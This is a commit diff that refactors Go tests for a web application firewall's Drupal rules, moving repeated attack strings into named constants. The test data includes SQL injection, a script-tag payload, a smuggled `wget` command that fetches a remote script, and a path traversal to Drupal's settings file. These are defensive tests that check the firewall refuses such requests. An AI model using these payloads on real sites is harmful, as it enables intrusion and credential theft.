Core Rule Set tests: name repeated attack strings (closes #263)

The Drupal and MediaWiki tests repeated the SQL and script attack strings,
which goconst reports. They now use the existing constant injection and a
new constant scriptTag.

Model: opus-5-5

internal/coreruleset/drupal_test.go

@@ -131,8 +131,8 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 	}
 
 	for _, attack := range []string{
-		`1' OR '1'='1`,
-		`<script>alert(1)</script>`,
+		injection,
+		scriptTag,
 	} {
 		for _, field := range []string{
 			`"title":"` + attack + `"`,
@@ -178,8 +178,8 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
 	crs := readingBodies(t)
 
 	for _, attack := range []string{
-		`1' OR '1'='1`,
-		`<script>alert(1)</script>`,
+		injection,
+		scriptTag,
 		`; wget http://example.com/x.sh`,
 		`../../sites/default/settings.php`,
 	} {